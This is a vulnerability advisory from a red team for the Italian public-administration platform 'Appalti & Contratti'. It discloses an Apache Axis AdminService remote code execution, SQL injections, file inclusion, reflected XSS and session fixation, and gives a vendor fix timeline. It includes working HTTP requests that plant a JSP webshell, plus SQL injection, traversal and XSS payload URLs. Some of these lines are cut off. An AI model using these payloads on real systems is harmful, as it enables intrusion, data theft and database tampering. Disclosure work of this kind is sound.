# Authors: sababasecurity.com Red Team
# Vendor Homepage: https://www.maggioli.com

## I. INTRODUCTION

The product "Appalti & Contratti," is a modular platform consisting of several integrated web applications to support the Italian public administration in the computerized and telematic management of theirs process.

## II. DESCRIPTION

### 1. Remote Code Execution through Apache Axis AdminService Exposed (CVE-2022-44784)

The DL229 and LFS modules of "Appalti & Contratti" expose an Apache Axis 1.4 instance, when needed by the customer, under the respective paths https://host/DL229/services and https://host/LFS/services.
The product is normally configured to expose a Reverse Proxy at port 443 in the same server that hosts all the application modules, that are instead served by Tomcat on a different port.
Since the Reverse Proxy and the Tomcat instance serving the modules are in the same host, and the Reverse Proxy isn't configured to exclude any route, it is possible to directly reach for the Apache Axis 1.4 AdminService as if the request is issued directly by the localhost. Any request is indeed received by the Reverse Proxy and then, from the Reverse Proxy is forwarded to the applications.
The Apache Axis instance follows the default configuration, where the AdminService is only exposed to localhost:


confirming the assumption. The previous information has been leaked through the Local File Inclusion vulnerability, reachable by authenticated users, identified as CVE-2022-44786.
When the Apache Axis AdminService is exposed, it is possible to create a LogHandler service that writes a jsp webshell in the application webroot, resulting in a Remote Code Execution.
The complete details of the exploitation procedure are provided by Ambionics Security in their blog post "Oracle PeopleSoft Remote Code Execution: Blind XXE to SYSTEM Shell" (https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce#axis-update).
Basically, the attack consists of exposing the "org.apache.axis.handlers.LogHandler" class as a service, to create a log file in the server webroot, writing to the log file through the service and, eventually, removing the service.
The first two requests are shown below:

```
POST /MOD/services/AdminService HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

```
Te: trailers
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: example.com
Content-Length: 1113

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="RandomService" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="/opt/apache-tomcat-9.0.33/webapps/MOD/test_sababa_shell_yu8F
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment>
</soapenv:Body>
</soapenv:Envelope>

-----------------------------------------------------

POST /MOD/services/RandomService HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: example.com
Content-Length: 1126

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001
<soapenv:Header/>
```

```
<soapenv:Body>
<util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<in0 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("p4WfhL16VokrRj1ss").equals("I41jqG*X
]]></in0>
<in1 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1>
</util:ints>
</soapenv:Body>
</soapenv:Envelope>
```

### *a. Business Impact*

An attacker is capable of creating a jsp webshell directly in the webroot of the application, resulting in a Remote Code Execution.

### 2. Multiple SQL Injections (CVE-2022-44785)

### *a. Unauthenticated SQL Injection*

The web application modules “LFS”, “Vigilanza” and “DL229” implement the “GetListaEnti.do” functionality that accepts a URL parameter “cfamm”, which is subject to the mentioned vulnerability.
By exploiting the issue on each application, it is possible to exfiltrate the entire content of each database in use.
Since the underlying database is “Postgres”, it is possible to perform batched queries. This means that an attacker can perform multiple queries in the same statement.
Consequently, an attacker could potentially introduce an “INSERT/DELETE/UPDATE” statement to change the database content, by properly manipulating the vulnerable parameter.
Possible examples of the mentioned vulnerability are in the following URLs:

- https://host/DL229/GetListaEnti.do?cfamm=F%27+UNION+ALL+SELECT+NULL%2cNULL%2cNULL%2d%2d
- https://host/DL229/GetListaEnti.do?cfamm=F%27%3bSELECT+PG_SLEEP%285%29%2d%2d

### *b. Authenticated time based SQL Injection*

The web application modules “LFS”, “Vigilanza” and “DL229” are subject to multiple SQL Injections due to the way they create the parametrized SQL query to perform.
More in detail, the “Trova.do” functionality at https://host/Vigilanza/Trova.do allows users to search for different resources, depending on the context the application is currently in.
The search functionality allows to specify a variable number of “fields”, each of which is identified by a”defCampoN” POST body parameter, with N determining the number of the field in the search form.
This field is composed of colon (i.e. “;”) separated strings. The first one of these is directly used as the column field of the “where” condition in the SQL parametrized query generated by the server.

Consequently, by directly replacing the column name with an arbitrary, nested, SQL statement, it is possible to perform an SQL Injection, as shown below:

```
POST /Vigilanza/Trova.do HTTP/1.1
Host: example.com
Cookie: JSESSIONID= 34F7164A1BF072446CB774A686C3CD1B
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4360

jspPath=%2FWEB-INF%2Fpages%2Fgene%2Fimpr%2Fimpr-trova.jsp&jspPathTo=gene%2Fimpr%2Fimpr-lista.jsp&activePa
```

The same behaviour also affects the “filtro” body parameter of the same POST request.

Analogously, the “Advanced search” allows to specify, for integer fields, whether to search for values “less than”, “greater than”, “equal to” the one specified by the user.
This results in a POST body parameter like “Campo1_conf” directly specifying the operator selected by the user, i.e. “<“, “>”, “=” respectively.
The introduced parameter is directly used by the server to create the parametrized query to perform on the database.
Consequently, by properly injecting an SQL construct as part of the “CampoX_conf” parameter, it is possible to perform an SQL Injection attack.

```
POST /Vigilanza/Trova.do HTTP/1.1
Content-Length: 2372
Host: example.com
Cookie: JSESSIONID= 34F7164A1BF072446CB774A686C3CD1B
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

jspPath=%2FWEB-INF%2Fpages%2Fw9%2Fw9gara%2Fw9gara-trova.jsp&jspPathTo=w9%2Fw9gara%2Fw9gara-lista.jsp&...[
```

In a similar way, the POST request to https://host/DL229/ApriPagina.do is used to perform a search request and, in the “trovaAddWhere” body parameter, it is sent part of the SQL statement that will be embedded into the parametrized query that is performed.

```
POST /DL229/ApriPagina.do?_csrf=0TM8-4VQG-B1K7-RD4D-MIMU-1FH3-IAQW-OYD1 HTTP/1.1
Host: example.com
Cookie: JSESSIONID=481BA32AF2A220443F35C52A1935D4D4
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 281

href=dl229%2Fprog_anag%2Fprog_anag-lista.jsp&entita=PROG_ANAG&trovaFrom=PROG_ANAG&trovaAddWhere=%28PROG_A
```

### *c. Business Impact*

An attacker can exploit the mentioned flaws to dump the entire database content. Alternatively, it is possible to perform INSERT/UPDATE/DELETE statements due to the support of batched queries from Postgre SQL, which is trivial for the unauthenticated case.

### 3. Local File Inclusion (CVE-2022-44786)

The “ApriPagina.do” main landing page of each module, strongly relies on the “href” URL parameter to decide which “jsp” page to include.
The “jsp” page is indeed directly embedded by the “ApriPagina.do” endpoint and directory traversal is also accepted and not sanitized in any way.

However, by trying to access any non “jsp” content, the server answers with an error message.
In order to bypass this, it is possible to access “hrefs” like the following: “..;/..;/WEB-INF/web.xml;index.jsp”.

The final URL to dump the "WEB-INF/web.xml" file is something like:

- https://host/DL229/ApriPagina.do?href=..;/..;/WEB-INF/web.xml;index.jsp

This happens because, likely, the sanitization procedure checks that the URL refers to a "jsp" page which, for the mentioned "href", is true.
However, Apache Tomcat, the underlying servlet container, parses the web path provided and , for each part, considers anything after the ";" to be a parameter and automatically strips it.
In other words, what is actually accessed is the final "href" of "../../WEB-INF/web.xml", successfully retrieving the "web.xml" configuration file of the web application, as shown below.

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
```

```
17  xmlns="http://java.sun.com/xml/ns/j2ee"
18  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
19  xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
    http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
20
21    <display-name>
        DL229
      </display-name>
22
23    <description>
24      DL229
25    </description>
26
27    <distributable/>
28
29    <filter>
30      <filter-name>
          ResponseOverrideFilter
        </filter-name>
31      <filter-class>
32        org.displaytag.filter.ResponseOverrideFilter
33      </filter-class>
34    </filter>
35
36    <filter>
37      <filter-name>
          CustomerContextFilter
        </filter-name>
38      <filter-class>
39        it.eldasoft.gene.commons.web.CustomerContextFilter
40      </filter-class>
```

### *a. Business Impact*

An attacker can dump several Class files and known XML configuration files, retrieving useful internal details about the software.
In general, it is possible to download arbitrary files (except for "jsp" pages) that are under the root of the affected module.

### 4. Reflected Cross-Site Scripting (CVE-2022-44787)

The web application modules are vulnerable to a Reflected Cross-Site Scripting issue in the specific "ApriPopup.do" endpoint, as follows:

- https://host/Vigilanza/ApriPopup.do?href=commons%5chelpDiPagina.jsp&idPagina=W9.W9GARA-test+%3cdiv+style%3d%27height:1000px;width:1000px%27+onmouseenter%3d%27alert%28document.location%29%27%3e&numeroPo
- https://host/LFS/ApriPopup.do?href=commons%5chelpDiPagina.jsp&idPagina=W9.W9GARA-test+%3cdiv+style%3d%27height:1000px;width:1000px%27+onmouseenter%3d%27alert%28document.location%29%27%3e&numeroPo
- https://host/DL229/ApriPopup.do?href=commons%5chelpDiPagina.jsp&idPagina=W9.W9GARA-test+%3cdiv+style%3d%27height:1000px;width:1000px%27+onmouseenter%3d%27alert%28document.location%29%27%3e&numeroPo

More in detail, the "idPagina" parameter is reflected inside the server response without any HTML encoding, resulting in a Reflected Cross-Site Scripting attack when the victim moves the mouse pointer inside the page.
The target endpoint, actually, does seem to perform some sort of sanitization, removing some malicious tags and attributes, however, not all attributes are correctly sanitized.
As an example, the "onmouseenter" attribute used in the mentioned payload is not sanitized, resulting in a Cross-Site Scripting attack.

### *a. Business Impact*

An attacker can send a malicious link to a designated victim and execute Javascript code in the context of the victim's authenticated session.

### 5. JSESSIONID Session Fixation (CVE-2022-44788)

Session Fixation is an attack that permits an attacker to hijack a valid user session.
The attack exploits a limitation in the way the web application manages the session ID, more specifically the vulnerable web application, when authenticating a user, doesn't assign a new session ID, making it possible to use an existing one.
Consequently, the attack consists of obtaining a valid session ID (e.g. by connecting to the application),inducing a user to authenticate himself with that session ID, and then hijacking the user-validated session by the knowledge of the used session ID.

The target web applications are subject to the mentioned issue since, when the user logs in providing the "JSESSIONID" cookie that is issued by the server at the first visit, the cookie value is not updated after a successful login.

### *a. Business Impact*

An attacker that manages to exfiltrate the JSESSIONID of an unauthenticated user can hijack the user session when the victim authenticates successfully.

## III. SYSTEM AFFECTED

All modules prior to the following versions are vulnerable: DL229 v4.2.4, LFS v9.48.1, FEU v4.12.1, Appalti v9.12.2.

## IV. VULNERABILITY HISTORY

Sep 02th, 2022: Vendor notification
Oct 04th, 2022: Vendor fixed the issues

## V. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.